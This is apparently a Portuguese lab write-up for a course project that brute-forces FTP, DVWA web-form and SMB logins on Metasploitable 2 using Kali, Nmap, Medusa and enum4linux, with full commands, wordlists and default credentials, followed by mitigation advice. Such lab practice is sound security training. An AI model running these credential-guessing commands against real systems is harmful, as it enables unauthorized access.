



Ataque de Brute Force com Medusa e Kali Linux

CodeIA, 2026



Implementar, documentar e compartilhar um projeto prático utilizando **Kali Linux** e a ferramenta **Medusa**, em conjunto com ambientes vulneráveis (ex: **Metasploitable 2** e **DVWA**), para simular cenários de ataque de força bruta e exercitar medidas de prevenção.

AMBIENTE

Usaremos nesse ataque de força bruta (muitas senhas em um mesmo usuário), a técnica **PASSWORD SPRAYING** (poucas senhas em vários usuários) que remete a tentativa de ataque com uma senha validada via NMAP e vários usuários, e com a técnica de **CREDENTIALS STUFFING** usando credenciais vazadas na Dark Web.

IMPLANTAÇÃO DA INFRAESTRUTURA VIRTUALBOX

O ambiente se inicia pelo roteamento do sinal WIFI, feito via **Thetering** por um celular com Android em uma conexão estável comum do provedor de sinal. Porém o problema se dá porque, via Thetering, o TCP impõe o mesmo IP para ambas distribuições que usam somente NAT.

Para solucionar esse problema, existem 2 soluções práticas : ou você impõe no arquivo **sudo nano /etc/network/interfaces** que o IP seja estático e define o IP fixo do host, ou você aplica uma **SUBNAT**, onde você implanta uma **RedeNAT**, o que aplica naturalmente um IP de subrede como 10.0.2.xx e não conflitará com outro IP.

Essa ação tem que ser feita em ambas distribuições. Devem estar desligadas, e no ambiente da VB você vai em Configurações / Rede / Seleciona modo 'RedeNAT'. Faça em ambas distros. Isso deve resolver IPs diferentes para ambas VMs.



Ao pingar e ter respostas de ambas as distros, o ambiente está estruturado. Assim que pingar, tire um Screenshot de ambas as distribuições, para que possa retomar o sistema desse ponto em diante, caso precise.

ETAPAS PRINCIPAIS

- **Configuração do Ambiente:** Duas VMs (Kali Linux e Metasploitable 2) no VirtualBox em rede interna (*host-only*).

MAPEAMENTO

PC I9 32GB RAM – SSD 1 TB = HOST ONLY

ORACLE VM

TARGET = METASPLOITABLE 2 + DVWA

KALI LINUX (RED TEAM)

NMAP / MEDUSA

- **Execução de Ataques Simulados:**
 - Força bruta em FTP.
 - Automação de tentativas em formulário web (DVWA).
 - **Password spraying** em SMB com enumeração de usuários.
- **Documentação:** Registro de wordlists, comandos, validação de acessos (fotos) e recomendações de mitigação (já listado). Edição do ReadMe.md para o GitHub.

OBJETIVOS

- Compreender ataques de força bruta em diferentes serviços (FTP, Web, SMB).
- Utilizar Kali Linux e Medusa para auditoria de segurança.
- Documentar processos técnicos e propor medidas de mitigação.
- Utilizar o GitHub como portfólio técnico.



REGISTRO DAS WORDLISTS

Usaremos dois arquivos para as wordlists. Uma com o nome dos usuários que será o **users.txt** e a outra **passwords.txt** com as senhas a serem usadas.

BASH / ZSH - COMANDOS

Login no Meta = msfadmin : msfadmin

BASH META = ip a (anota o inet ipv4)

BASH KALI = ping -c 3 ipMETA (se der resposta, ambos estão na mesma rede)

BASH KALI = nmap -sV -p 21,22,80,445,139 ipMETA (ver os serviços abertos no alvo)

BASH KALI = ftp ipMETA (se aberto, conectar com user:senha)

Agora vamos criar o arquivo de usuários, e de senhas (**as wordlists**), de modo rápido :

BASH KALI = echo -e "user\nmsfadmin\nadmin\nroot" > users.txt

BASH KALI = echo -e "123456\npassword\nqwerty\nmsfadmin" > pass.txt

BASH KALI = medusa -h ipMETA -U users.txt -P pass.txt -M ftp -t 6 (scanear senhas válidas)

Aqui você identifica usuário e senha válidos no servidor ftp. Basta validar o acesso. Nesse servidor, pode usar ls, cd, **ftp> binary** para não corromper imagens, **ftp> prompt** para que ele não pergunte ao copiar cada arquivo, e **ftp> mget *** para copiar tudo da pasta para sua home, e para que você possa operar o FTP. Encerramos aqui o primeiro ataque de força bruta.

Agora, vamos ver como funciona o ataque a sistema web, com formulários de login. Ataque chamado de **Credentials Stuffing**, no site alvo DVWA. (ip 192.168.56.102/dvwa/login.php). Certifique-se de ter criado as wordlists.



BASH KALI = acessa o site e abre o F12 (modo desenvolvedor). Digita user e senha qualquer, e analisa a aba Network. Clique no primeiro post (1ª linha), e veja na janela ao lado, na aba Request

```
# BASH = medusa -h 192.168.56.102 -U users.txt -P pass.txt -M http \
-m PAGE:'/dvwa/login.php' \
-m FORM:'username=^USER^&password=^PASS^&Login=Login' \
-m 'FAIL=Login failed' -t 6
```

Após rodar esse comando, o Medusa te retornará várias tentativas com usuários e senhas, e algumas dará o status de SUCESS. Tente acessar o formulário com esses dados para validar as credenciais. Outro detalhe possível com medusa :

```
# BASH = medusa -M http -q (comando que mostra tudo que o http permite usar) -
h IP-ALVO
```

Formulários Web (Web Forms): Se o login for em um formulário comum de uma página (como um /login.php), o comando muda para algo como: `medusa -h alvo.com -u admin -P senhas.txt -M http -m FORM:"login.php"`

ATAQUE EM CADEIA + ENUMERAÇÃO SMB + PASSWORD SPRAYING

(uma senha para muitos usuários diferentes)

Vamos imaginar que já foi rastreado um servidor de arquivos, com SMB rodando. E você já está na rede interna. Rode o enum4linux para explorar e enumerar o servidor.

```
# BASH = enum4linux -a 192.168.56.102 | tee enum4_output.txt (enum4linux usa
técnicas de enumeração). Para visualizar/entrar no arquivo digite :
```

```
# BASH = less enum4_output.txt
```



Vamos criar a wordlist dos usuários, pois já sabemos quais os usuários são válidos no arquivo visto.

```
# BASH = echo -e "user\nmsfadmin\nservice" > smb_users.txt
```

Agora, wordlist das senhas :

```
# BASH = echo -e "password\n123456\nWelcome123\nmsfadmin" > senhas_spray.txt
```

```
# BASH = medusa -h 192.168.56.102 -U smb_users.txt -P senhas_spray.txt -M smbnt -t 2 -T 50
```

Após esse comando, o retorno poderá apontar uma credencial como **ACCOUNT FOUND**. Com isso, você pode acessar o site com essas credenciais para validar o acesso e concluir a proposta deste projeto.

VALIDAÇÃO DE ACESSOS (IMAGENS)

No repositório do Github, na pasta IMAGES (<https://github.com/Andre-codeIA/BRUTE-FORCE/tree/334c884f79628aa3d0c788d9034a11dab6a2deb7/images>) estão os screenshots deste projeto.

MITIGAÇÕES INDICADAS

O objetivo aqui é diminuir a visibilidade dos seus serviços para o atacante.

- **Segmentação de Rede e Firewalls** : Restrinja o acesso a portas sensíveis (como 22/SSH, 3389/RDP ou painéis administrativos) apenas a IPs confiáveis via listas brancas (IP whitelisting)
- Sistemas de Detecção e Prevenção de Intrusão (IDS/IPS): Utilize ferramentas como o Snort ou soluções de firewall modernas para detectar e bloquear varreduras de portas repetitivas típicas do Nmap
- **Ofuscação de Serviços** : Altere as portas padrão de serviços críticos para evitar que scripts automáticos os encontrem facilmente, embora isso seja apenas uma camada extra e não uma solução definitiva.



Como o **password spraying** tenta uma única senha contra vários usuários para evitar bloqueios por tentativas erradas, as defesas precisam ser comportamentais.

- **Autenticação Multifator (MFA):** Esta é a medida mais eficaz. Mesmo que o atacante acerte a senha via Medusa, ele não conseguirá o acesso sem o segundo fator (token, SMS ou app).
- **Políticas de Senha Forte:** Force o uso de senhas longas (mais de 12 ou 15 caracteres) e complexas que não constem em wordlists comuns.
- **Monitoramento de Logs e SIEM :** Configure alertas para detectar picos anômalos de falhas de login em várias contas diferentes vindas de um mesmo IP. Ferramentas como o **Fail2Ban** podem bloquear automaticamente IPs que apresentem esse comportamento.
- **Bloqueio de Contas (Thresholds) :** Implemente políticas que bloqueiem temporariamente a conta ou exijam um **CAPTCHA** após um número específico de tentativas malsucedidas.
- **Desativar Autenticação Básica :** Sempre que possível, substitua a autenticação baseada apenas em usuário/senha por métodos mais seguros, como chaves SSH ou certificados.

ENTREGA DO DESAFIO (CHECKLIST)

- **Assistir às vídeo-aulas:** Informações essenciais para o sucesso do projeto.
- **Criar Repositório no GitHub:**
 - ✓ Arquivo README.md detalhado.
 - ✓ Arquivos adicionais (wordlists, scripts, configurações).
 - ✓ Pasta / images com capturas de tela (opcional).

RECURSOS ÚTEIS

- **Sistemas:** Kali Linux, DVWA.
- **Ferramentas:** Medusa, Nmap.
- **Guia de Markdown:** Sintaxe GitHub Markdown

